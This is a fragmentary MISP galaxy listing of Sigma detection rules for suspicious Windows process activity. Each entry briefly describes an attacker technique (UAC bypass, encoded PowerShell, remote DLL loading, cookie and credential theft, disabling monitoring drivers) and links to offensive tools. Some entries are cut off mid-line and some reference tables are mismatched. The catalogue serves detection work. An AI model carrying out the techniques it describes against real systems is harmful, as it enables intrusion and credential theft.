<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_allow_program_in_susp_location.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_allow_program_in_susp_location.yml</a></td>
</tr>
</tbody>
</table>

HackTool - PurpleSharp Execution

Detects the execution of the PurpleSharp adversary simulation tool

The tag is: misp-galaxy:sigma-rules="HackTool - PurpleSharp Execution"

View relationships graph

HackTool - PurpleSharp Execution has relationships with:
Suspicious Usage Of ShellExec_RunDLL

Detects suspicious usage of the ShellExec_RunDLL function to launch other commands as seen in the raspberry-robin attack

The tag is: `misp-galaxy:sigma-rules="Suspicious Usage Of ShellExec_RunDLL"`

Suspicious MSHTA Child Process

Detects a suspicious process spawning from an "mshta.exe" process, which could be indicative of a malicious HTA script execution

The tag is: `misp-galaxy:sigma-rules="Suspicious MSHTA Child Process"`

View relationships graph

Suspicious MSHTA Child Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
**PUA - CleanWipe Execution**

Detects the use of CleanWipe a tool usually used to delete Symantec antivirus.

The tag is: misp-galaxy:sigma-rules="PUA - CleanWipe Execution"

View relationships graph

PUA - CleanWipe Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 1031. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/CleanWipe">https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/CleanWipe</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_cleanwipe.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_cleanwipe.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Child Process Of Veeam Dabatase**

Detects suspicious child processes of the Veeam service process. This could indicate potential RCE or SQL Injection.

The tag is: misp-galaxy:sigma-rules="Suspicious Child Process Of Veeam Dabatase"

Table 10311. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://labs.withsecure.com/publications/fin7-target-veeam-servers">https://labs.withsecure.com/publications/fin7-target-veeam-servers</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mssql_veaam_susp_child_processes.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mssql_veaam_susp_child_processes.yml</a></td>
</tr>
</tbody>
</table>

**Active Directory Database Snapshot Via ADExplorer**

Detects the execution of Sysinternals ADExplorer with the "-snapshot" flag in order to save a local copy of the active directory database.

The tag is: misp-galaxy:sigma-rules="Active Directory Database Snapshot Via ADExplorer"

View relationships graph

Active Directory Database Snapshot Via ADExplorer has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-
Suspicious Rundll32 Execution With Image Extension

Detects the execution of Rundll32.exe with DLL files masquerading as image files

The tag is: misp-galaxy:sigma-rules="Suspicious Rundll32 Execution With Image Extension"

View relationships graph

Suspicious Rundll32 Execution With Image Extension has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Potential UAC Bypass Via Sdclt.EXE

A General detection for sdclt being spawned as an elevated process. This could be an indicator of sdclt being used for bypass UAC techniques.

The tag is: misp-galaxy:sigma-rules="Potential UAC Bypass Via Sdclt.EXE"

View relationships graph

Potential UAC Bypass Via Sdclt.EXE has relationships with:

Compress Data and Lock With Password for Exfiltration With 7-ZIP

An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities.

The tag is: `misp-galaxy:sigma-rules="Compress Data and Lock With Password for Exfiltration With 7-ZIP"`

View relationships graph

Compress Data and Lock With Password for Exfiltration With 7-ZIP has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001"` with estimative-language:likelihood-probability="almost-certain"

Table 10315. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_7zip_password_compression.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_7zip_password_compression.yml</a></td>
</tr>
</tbody>
</table>

New Network Trace Capture Started Via Netsh.EXE

Detects the execution of netsh with the "trace" flag in order to start a network capture.

The tag is: `misp-galaxy:sigma-rules="New Network Trace Capture Started Via Netsh.EXE"`

View relationships graph

New Network Trace Capture Started Via Netsh.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040"` with estimative-language:likelihood-probability="almost-certain"

Table 10316. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://klausjochem.me/2016/02/03/netsh-the-cyber-attackers-tool-of-choice/">https://klausjochem.me/2016/02/03/netsh-the-cyber-attackers-tool-of-choice/</a></td>
</tr>
</tbody>
</table>
Winrar Execution in Non-Standard Folder

Detects a suspicious winrar execution in a folder which is not the default installation folder

The tag is: `misp-galaxy:sigma-rules="Winrar Execution in Non-Standard Folder"`

View relationships graph

Winrar Execution in Non-Standard Folder has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001"` with estimative-language:likelihood-probability="almost-certain"

Table 10317. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/cyb3rops/status/1460978167628406785">https://twitter.com/cyb3rops/status/1460978167628406785</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrar_uncommon_folder_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrar_uncommon_folder_execution.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Child Process Of Wermgr.EXE

Detects suspicious Windows Error Reporting manager (wermgr.exe) child process

The tag is: `misp-galaxy:sigma-rules="Suspicious Child Process Of Wermgr.EXE"`

View relationships graph

Suspicious Child Process Of Wermgr.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Masquerading - T1036"` with estimative-language:likelihood-probability="almost-certain"

Table 10318. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.echotrail.io/insights/search/wermgr.exe">https://www.echotrail.io/insights/search/wermgr.exe</a></td>
</tr>
<tr>
<td><a href="https://github.com/binderlabs/DirCreate2System">https://github.com/binderlabs/DirCreate2System</a></td>
</tr>
</tbody>
</table>
**Suspicious PowerShell Invocations - Specific - ProcessCreation**

Detects suspicious PowerShell invocation command parameters

The tag is: *misp-galaxy:sigma-rules="Suspicious PowerShell Invocations - Specific - ProcessCreation"*

<table>
<thead>
<tr>
<th>Table 10319. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_invocation_specific.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_invocation_specific.yml</a></td>
</tr>
</tbody>
</table>

**Potential Amazon SSM Agent Hijacking**

Detects potential Amazon SSM agent hijack attempts as outlined in the Mitiga research report.

The tag is: *misp-galaxy:sigma-rules="Potential Amazon SSM Agent Hijacking"*

**View relationships graph**

Potential Amazon SSM Agent Hijacking has relationships with:


<table>
<thead>
<tr>
<th>Table 10320. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://www.helpnetsecurity.com/2023/08/02/aws-instances-attackers-access/">https://www.helpnetsecurity.com/2023/08/02/aws-instances-attackers-access/</a></td>
</tr>
<tr>
<td><a href="https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan">https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ssm_agent_abuse.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ssm_agent_abuse.yml</a></td>
</tr>
</tbody>
</table>

**Potential Suspicious Windows Feature Enabled - ProcCreation**

Detects usage of the built-in PowerShell cmdlet "Enable-WindowsOptionalFeature" used as a Deployment Image Servicing and Management tool. Similar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images
The tag is: `misp-galaxy:sigma-rules="Potential Suspicious Windows Feature Enabled - ProcCreation"`

Table 10321. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_enable_susp_windows_optional_feature.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_enable_susp_windows_optional_feature.yml</a></td>
</tr>
</tbody>
</table>

**Potential Cookies Session Hijacking**

Detects execution of "curl.exe" with the "-c" flag in order to save cookie data.

The tag is: `misp-galaxy:sigma-rules="Potential Cookies Session Hijacking"`

Table 10322. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://curl.se/docs/manpage.html">https://curl.se/docs/manpage.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_cookie_hijacking.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_cookie_hijacking.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Driver/DLL Installation Via Odbcconf.EXE**

Detects execution of "odbcconf" with the "INSTALLDRIVER" action where the driver doesn’t contain a "dll" extension. This is often used as a defense evasion method.

The tag is: `misp-galaxy:sigma-rules="Suspicious Driver/DLL Installation Via Odbcconf.EXE"`

View relationships graph

Suspicious Driver/DLL Installation Via Odbcconf.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Odbcconf - T1218.008" with estimative-language:likelihood-probability="almost-certain"

Table 10323. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/">https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/</a></td>
</tr>
</tbody>
</table>
**Potentially Suspicious Call To Win32_NTEventlogFile Class**

Detects usage of the WMI class "Win32_NTEventlogFile" in a potentially suspicious way (delete, backup, change permissions, etc.) from a PowerShell script

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Call To Win32_NTEventlogFile Class"

**Table 10324. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa394225(v=vs.85)">https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa394225(v=vs.85)</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_nteventlogfile_usage.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_nteventlogfile_usage.yml</a></td>
</tr>
</tbody>
</table>

**Invoke-Obfuscation Via Use Clip**

Detects Obfuscated Powershell via use Clip.exe in Scripts

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use Clip"

**View relationships graph**

Invoke-Obfuscation Via Use Clip has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

**Table 10325. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_use_clip.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_use_clip.yml</a></td>
</tr>
</tbody>
</table>

**SQL Client Tools PowerShell Session Detection**

This rule detects execution of a PowerShell code through the sqltoolsps.exe utility, which is included in the standard set of utilities supplied with the Microsoft SQL Server Management studio. Script blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.
The tag is: *misp-galaxy:sigma-rules*="SQL Client Tools PowerShell Session Detection"

View relationships graph

SQL Client Tools PowerShell Session Detection has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern*="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 10326. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://twitter.com/pabraeken/status/993298228840992768">https://twitter.com/pabraeken/status/993298228840992768</a></td>
</tr>
<tr>
<td><a href="https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OtherMSBinaries/Sqltoolsps.yml">https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OtherMSBinaries/Sqltoolsps.yml</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mssql_sqltoolsps_susp_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mssql_sqltoolsps_susp_execution.yml</a></td>
</tr>
</tbody>
</table>

**Filter Driver Unloaded Via Fltmc.EXE**

Detect filter driver unloading activity via fltmc.exe

The tag is: *misp-galaxy:sigma-rules*="Filter Driver Unloaded Via Fltmc.EXE"

View relationships graph

Filter Driver Unloaded Via Fltmc.EXE has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern*="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 10327. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://www.darkoperator.com/blog/2018/10/5/operating-offensively-against-sysmon">https://www.darkoperator.com/blog/2018/10/5/operating-offensively-against-sysmon</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fltmc_unload_driver.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fltmc_unload_driver.yml</a></td>
</tr>
</tbody>
</table>
**PowerShell Base64 Encoded IEX Cmdlet**

Detects usage of a base64 encoded "IEX" cmdlet in a process command line.

The tag is: `misp-galaxy:sigma-rules="PowerShell Base64 Encoded IEX Cmdlet"`

View relationships graph

PowerShell Base64 Encoded IEX Cmdlet has relationships with:

- **related-to**: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

*Table 10328. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_iex.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_iex.yml</a></td>
</tr>
</tbody>
</table>

**Driver/DLL Installation Via Odbcconf.EXE**

Detects execution of "odbcconf" with "INSTALLDRIVER" which installs a new ODBC driver. Attackers abuse this to install and run malicious DLLs.

The tag is: `misp-galaxy:sigma-rules="Driver/DLL Installation Via Odbcconf.EXE"`

View relationships graph

Driver/DLL Installation Via Odbcconf.EXE has relationships with:

- **related-to**: `misp-galaxy:mitre-attack-pattern="Odbcconf - T1218.008"` with estimative-language:likelihood-probability="almost-certain"

*Table 10329. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/">https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/</a></td>
</tr>
</tbody>
</table>

**Audio Capture via SoundRecorder**

Detects attacker collecting audio via SoundRecorder application.
Remote Access Tool - NetSupport Execution

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMeIn, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: misp-galaxy:mitre-attack-pattern="Remote Access Tool - NetSupport Execution"

Remote Access Tool - NetSupport Execution has relationships with:

The tag is: *misp-galaxy:sigma-rules*="Malicious PowerShell Commandlets - ProcessCreation"

View relationships graph

Malicious PowerShell Commandlets - ProcessCreation has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern*="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern*="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern*="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern*="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern*="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern*="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern*="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

*Table 10332. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/">https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/</a></td>
</tr>
<tr>
<td><a href="https://github.com/daftack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1">https://github.com/daftack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1</a></td>
</tr>
<tr>
<td><a href="https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ce8e333f55874/Collectors/AzureHound.ps1">https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ce8e333f55874/Collectors/AzureHound.ps1</a></td>
</tr>
<tr>
<td><a href="https://github.com/besorimhino/powercat">https://github.com/besorimhino/powercat</a></td>
</tr>
<tr>
<td><a href="https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries">https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries</a></td>
</tr>
<tr>
<td><a href="https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccfe75e931ae00554/OfficeMemScraper.ps1">https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccfe75e931ae00554/OfficeMemScraper.ps1</a></td>
</tr>
<tr>
<td><a href="https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfcf4e2d67b626c3cbf4404341cfe3d3b6/Get-DXWebcamVideo.ps1">https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfcf4e2d67b626c3cbf4404341cfe3d3b6/Get-DXWebcamVideo.ps1</a></td>
</tr>
<tr>
<td><a href="https://github.com/HarmJ0y/DAMP">https://github.com/HarmJ0y/DAMP</a></td>
</tr>
<tr>
<td><a href="https://github.com/kevin-robertson/powermad">https://github.com/kevin-robertson/powermad</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/">https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://github.com/samratashok/nishang">https://github.com/samratashok/nishang</a></td>
</tr>
</tbody>
</table>
Suspicious Extexport Execution

Extexport.exe loads dll and is execute from other folder the original path

The tag is: `misp-galaxy:sigma-rules="Suspicious Extexport Execution"`

View relationships graph

Suspicious Extexport Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with `estimative-language:likelihood-probability="almost-certain"`

Table 10333. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Extexport/">https://lolbas-project.github.io/lolbas/Binaries/Extexport/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_lolbin_extexport.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_lolbin_extexport.yml</a></td>
</tr>
</tbody>
</table>

Msiexec Quiet Installation

Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)

The tag is: `misp-galaxy:sigma-rules="Msiexec Quiet Installation"`

View relationships graph

Msiexec Quiet Installation has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007"` with `estimative-language:likelihood-probability="almost-certain"`

Table 10334. Table References
Suspicous RDP Redirect Using TSCON

Detects a suspicious RDP session redirect using tscon.exe

The tag is: `misp-galaxy:sigma-rules="Suspicious RDP Redirect Using TSCON"`

View relationships graph

Suspicous RDP Redirect Using TSCON has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="RDP Hijacking - T1563.002"` with estimative-language:likelihood-probability="almost-certain"

Table 10335. Table References

PUA - Adidnsdump Execution

This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks Python 3 and python.exe must be installed, Use to Query/modify DNS records for Active Directory integrated DNS via LDAP

The tag is: `misp-galaxy:sigma-rules="PUA - Adidnsdump Execution"`

View relationships graph

PUA - Adidnsdump Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018"` with
PowerShell Base64 Encoded Reflective Assembly Load

Detects base64 encoded .NET reflective loading of Assembly

The tag is: *misp-galaxy:sigma-rules="PowerShell Base64 Encoded Reflective Assembly Load"*

View relationships graph

PowerShell Base64 Encoded Reflective Assembly Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Reflective Code Loading - T1620" with estimative-language:likelihood-probability="almost-certain"

Read Contents From Stdin Via Cmd.EXE

Detect the use of "<" to read and potentially execute a file via cmd.exe

The tag is: *misp-galaxy:sigma-rules="Read Contents From Stdin Via Cmd.EXE"*

View relationships graph

Read Contents From Stdin Via Cmd.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with
Remote Access Tool - ScreenConnect Backstage Mode Anomaly

Detects suspicious sub processes started by the ScreenConnect client service, which indicates the use of the so-called Backstage mode

The tag is: `misp-galaxy: sigma-rules="Remote Access Tool - ScreenConnect Backstage Mode Anomaly"`

View relationships graph

Remote Access Tool - ScreenConnect Backstage Mode Anomaly has relationships with:


Renamed Whoami Execution

Detects the execution of whoami that has been renamed to a different name to avoid detection

The tag is: `misp-galaxy: sigma-rules="Renamed Whoami Execution"`

View relationships graph

Renamed Whoami Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033"` with
Visual Studio Code Tunnel Shell Execution

Detects the execution of a shell (powershell, bash, wsl...) via Visual Studio Code tunnel. Attackers can abuse this functionality to establish a C2 channel and execute arbitrary commands on the system.

The tag is: `misp-galaxy:sigma-rules="Visual Studio Code Tunnel Shell Execution"`

View relationships graph

Visual Studio Code Tunnel Shell Execution has relationships with:


Rebuild Performance Counter Values Via Lodctr.EXE

Detects the execution of "lodctr.exe" to rebuild the performance counter registry values. This can be abused by attackers by providing a malicious config file to overwrite performance counter configuration to confuse and evade monitoring and security solutions.

The tag is: `misp-galaxy:sigma-rules="Rebuild Performance Counter Values Via Lodctr.EXE"`
Network Reconnaissance Activity

Detects a set of suspicious network related commands often used in recon stages

The tag is: misp-galaxy:sigma-rules="Network Reconnaissance Activity"

View relationships graph

Network Reconnaissance Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 10343. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/">https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lodctr_performance_counter_tampering.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lodctr_performance_counter_tampering.yml</a></td>
</tr>
</tbody>
</table>

Rundll32 UNC Path Execution

Detects rundll32 execution where the DLL is located on a remote location (share)

The tag is: misp-galaxy:sigma-rules="Rundll32 UNC Path Execution"

View relationships graph

Rundll32 UNC Path Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 10344. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code">https://www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code</a></td>
</tr>
</tbody>
</table>
### Suspicious Add Scheduled Task Parent

Detects suspicious scheduled task creations from a parent stored in a temporary folder.

The tag is: *misp-galaxy:sigma-rules*="Suspicious Add Scheduled Task Parent"

View relationships graph

Suspicious Add Scheduled Task Parent has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

### Potentially Suspicious Regsvr32 HTTP/FTP Pattern

Detects regsvr32 execution to download/install/register new DLLs that are hosted on Web or FTP servers.

The tag is: *misp-galaxy:sigma-rules*="Potentially Suspicious Regsvr32 HTTP/FTP Pattern"

View relationships graph

Potentially Suspicious Regsvr32 HTTP/FTP Pattern has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
Suspicious File Download From IP Via Curl.EXE

Detects potentially suspicious file downloads directly from IP addresses using curl.exe

The tag is: `misp-galaxy:sigma-rules="Suspicious File Download From IP Via Curl.EXE"`

Table 10347. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://labs.withsecure.com/publications/fin7-target-veeam-servers">https://labs.withsecure.com/publications/fin7-target-veeam-servers</a></td>
</tr>
<tr>
<td><a href="https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEAM/iocs.csv">https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEAM/iocs.csv</a></td>
</tr>
<tr>
<td><a href="https://github.com/pr0xylife/IcedID/blob/8dd1e218460db4f750d955b4c65b2f918a1db906/icedID_09.28.2023.txt">https://github.com/pr0xylife/IcedID/blob/8dd1e218460db4f750d955b4c65b2f918a1db906/icedID_09.28.2023.txt</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_download_direct_ip_susp_extensions.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_download_direct_ip_susp_extensions.yml</a></td>
</tr>
</tbody>
</table>

HackTool - SharpUp PrivEsc Tool Execution

Detects the use of SharpUp, a tool for local privilege escalation

